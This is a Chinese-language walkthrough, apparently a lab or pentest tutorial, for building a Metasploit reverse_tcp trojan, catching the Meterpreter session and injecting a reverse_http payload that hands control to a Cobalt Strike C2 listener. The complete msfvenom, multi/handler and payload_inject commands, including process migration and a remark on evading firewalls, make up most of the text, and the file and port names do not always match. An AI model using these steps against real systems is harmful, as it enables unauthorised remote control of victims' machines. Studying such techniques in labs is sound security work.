目录
本文实现从 MSF 初始控制到 CS 持续控制的攻击流程,本文涉及三个角色,如下所示。
| 角色 | IP 地址 | 说明 |
| 攻击机 Kali | 192.168.59.128 | 运行 MSF 的攻击主机 |
| 攻击机 CS | 192.168.59.128 | 运行 CobaltStrike的攻击主机 |
| 目标靶机 | 192.168.59.130 | 被攻击的 Windows 主机 |
|---|
MSF会话迁移到CS的原理、具体步骤和攻击流程图如下所示。
- MSF 生成 reverse_tcp 木马(lhost=192.168.59.128:4444),配置同 IP 端口监听,传入靶机运行,建立会话。
- CS 在 192.168.59.128:10086 创建 reverse_http 监听,等待靶机连接。
- MSF 加载注入模块,基于会话注入指向 CS 192.168.59.128:10086 的 payload。
- 靶机进程迁移后,经 HTTP 连 CS 192.168.59.128:10086,建立 CS 的 C2 会话。
- MSF 将会话后台化,CS 基于 10086 端口会话执行后续操作。

sequenceDiagram
participant 攻击机CS
participant 攻击机Kali(MSF)
participant 目标靶机
攻击机Kali(MSF) ->> 攻击机Kali(MSF): 1. 使用msfvenom生成reverse_tcp木马(指定lhost=192.168.59.128:4444)
攻击机Kali(MSF) ->> 攻击机Kali(MSF): 2. 配置multi/handler监听(4444端口,匹配reverse_tcp)
攻击机Kali(MSF) ->> 目标靶机: 3. 将木马程序传入目标靶机
目标靶机 ->> 目标靶机: 4. 运行木马程序
目标靶机 ->> 攻击机Kali(MSF): 5. 主动连接Kali的4444端口
攻击机Kali(MSF) -->> 目标靶机: 6. 建立Meterpreter会话1(MSF控制)
攻击机CS ->> 攻击机CS: 7. 创建reverse_http监听(192.168.59.128:10086)
攻击机Kali(MSF) ->> 攻击机Kali(MSF): 8. 加载payload_inject模块,配置reverse_http payload(指向CS的10086端口)
攻击机Kali(MSF) ->> 目标靶机: 9. 执行注入(基于会话1),目标进程迁移
目标靶机 ->> 攻击机CS: 10. 通过HTTP协议连接CS的10086端口
攻击机CS -->> 目标靶机: 11. 建立C2会话(CS控制)
一、攻击机制作reverse_http木马
攻击机Kali的ip地址为192.168.59.128 ,使用msfvenom生成一个恶意的 Windows 可执行文件命名为msf9999.exe,主要用于渗透测试中的反向连接攻击。执行这条命令后,会生成一个名为 msf9999.exe 的恶意程序。当目标 Windows 主机运行这个程序时,它会主动连接到 Kali攻击机192.168.59.128 的 9999 端口。此时如果Kali Linux 机器上使用 Metasploit 的multi/handler模块在 9999 端口监听,就会建立一个 Meterpreter 会话,从而获得对目标主机的控制权。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.59.128 lport=4444 -f exe -o msf4444.exe
-
msfvenom:这是 Metasploit 框架中的一个工具,用于生成各种类型的恶意 payload(攻击载荷)。
-
**-p windows/meterpreter/**reverse_tcp:
-p指定要使用的 payloadwindows/meterpreter/reverse_tcp 是一个适用于 Windows 系统的 Meterpreter 反向TCP连接 payload- Meterpreter 是一种高级的、动态可扩展的 payload,提供了丰富的后渗透功能
-
lhost=192.168.59.128:
- 指定攻击者(Kali Linux)的 IP 地址,即恶意程序连接的目标 IP
- 这里设置为你的 Kali Linux 机器的 IP 地址 192.168.59.128
-
lport=4444:指定攻击者监听的端口号,即恶意程序连接的目标端口
-
-f exe:指定生成的文件格式为 Windows 可执行文件(.exe)
-
-o msf4444.exe:指定输出文件的名称为 msf4444.exe

二、MSF开启监听
1、监听木马
在攻击者主机上搭建监听环境,配置如下命令,等待目标主机运行恶意程序后主动连接,从而建立控制会话,实现对目标主机的远程控制。
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.59.128
set lport 4444
exploit
-
use exploit/multi/handler
加载 Metasploit 中的
multi/handler模块,这是一个通用的监听模块,用于接收各种类型的反向连接 payload(攻击载荷),是渗透测试中接收反向连接的常用模块。 -
**set payload windows/meterpreter/**reverse_tcp
设置要监听的 payload 类型,这里指定为
windows/meterpreter/reverse_tcp,与之前用msfvenom生成恶意程序时使用的 payload 保持一致,确保通信协议和交互方式匹配。 -
set lhost 192.168.59.128
设置监听的本地 IP 地址,即攻击者 Kali Linux 机器的 IP(192.168.59.128),用于接收目标主机的反向连接。
-
set lport 4444
设置监听的端口号(4444),需与生成恶意程序时指定的
lport保持一致,确保目标主机连接到正确的端口。 -
exploit
执行监听操作,此时 Metasploit 会在 192.168.59.128 的 4444端口上等待目标主机运行恶意程序并发起连接。

2、目标靶机运行木马
将木马msf4444.exe上传到目标靶机中并运行,如下所示。

3、MSF成功建立连接
meterpreter > background
[*] Backgrounding session 1..
-
当目标主机运行
msf9999.exe后,这里会建立连接并获得一个 Meterpreter 会话。 -
meterpreter > background
当成功获取
meterpreter会话后,输入background命令可将当前会话放入后台运行,注意此命令运行后显示session会话为1.此时可以继续在 Metasploit 中执行其他操作(如加载新模块、发起新攻击等),而不影响已建立的会话(后续可通过sessions命令查看和切换会话).

三、MSF转发会话到CS
1、创建reverse_http监听
(1)打开监听配置面板
在 Cobalt Strike 主界面点击顶部菜单栏的 Cobalt Strike → Listeners ,或使用快捷键 Ctrl+L 打开监听管理窗口。

(2)创建新监听
点击监听窗口中的 Add 按钮,弹出新建监听配置对话框。

(3)配置监听参数
创建监听,ip地址填写Kali主机(即192.168.59.128),端口号本文设置为10086。
- Name:msf2cs
- Payload :选择
windows/meterpreter/reverse_http(与 msf 生成木马类型一致载荷) - Host :填写 Kali 主机的 IP 地址
192.168.59.128(即监听端 IP)。 - Port :填写端口号
10086(需与后续生成或使用的木马中指定的端口一致)。

(4)完成配置并启动
确认参数无误后点击 Save,新创建的监听会出现在列表中,状态为 "已启动",等待目标主机上的木马程序发起连接。

2、MSF向已有会话注入反向连接载荷
在 Metasploit 框架中利用已有的会话(session)进行本地渗透测试的操作,主要用于在目标 Windows 主机上注入新的反向连接载荷。
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.59.128
set lport 10086
set DisablePayloadHandler True
set PrependMigrate True
set session 1
-
use exploit/windows/local/payload_inject
加载 Metasploit 中的
windows/local/payload_inject模块,这是一个本地渗透模块,用于在已获取的会话中注入新的 payload(攻击载荷),通常用于权限维持、会话迁移或切换连接方式。 -
set payload windows/meterpreter/reverse_http
设置要注入的 payload 类型为
windows/meterpreter/reverse_http,这是一个通过 HTTP 协议进行反向连接的 Meterpreter 载荷,与之前可能使用的reverse_tcp相比,HTTP 协议更难被防火墙检测。 -
set lhost 192.168.59.128
指定新 payload 要连接的攻击者 IP 地址,即你的 Kali 主机 IP(192.168.59.128)。
-
set lport 10086
指定新 payload 要连接的端口号(10086),需与后续监听端的端口保持一致。
-
set DisablePayloadHandler True
设置禁用 Metasploit 自动启动对应的监听程序(handler)。这通常用于以下场景:
- 你已在 Cobalt Strike 或其他工具中提前设置了对应 IP 和端口的监听
- 你计划手动在 Metasploit 中另行配置监听模块
-
set PrependMigrate True
启用会话迁移功能,注入 payload 时会自动将进程迁移到一个更稳定的系统进程(如 explorer.exe),避免因原进程崩溃导致会话丢失,提高会话稳定性。
-
set session 1
指定要操作的已有会话 ID 为 1(即通过
session命令可查看的已建立会话),模块将在该会话对应的目标主机上执行 payload 注入。 -
run
执行当前配置的模块,在目标主机的会话 1 中注入
windows/meterpreter/reverse_httppayload,注入完成后,目标主机会主动通过 HTTP 协议连接 192.168.59.128 的 10086 端口,此时若有对应的监听程序,将建立一个新的 Meterpreter 会话。

3、木马上线成功

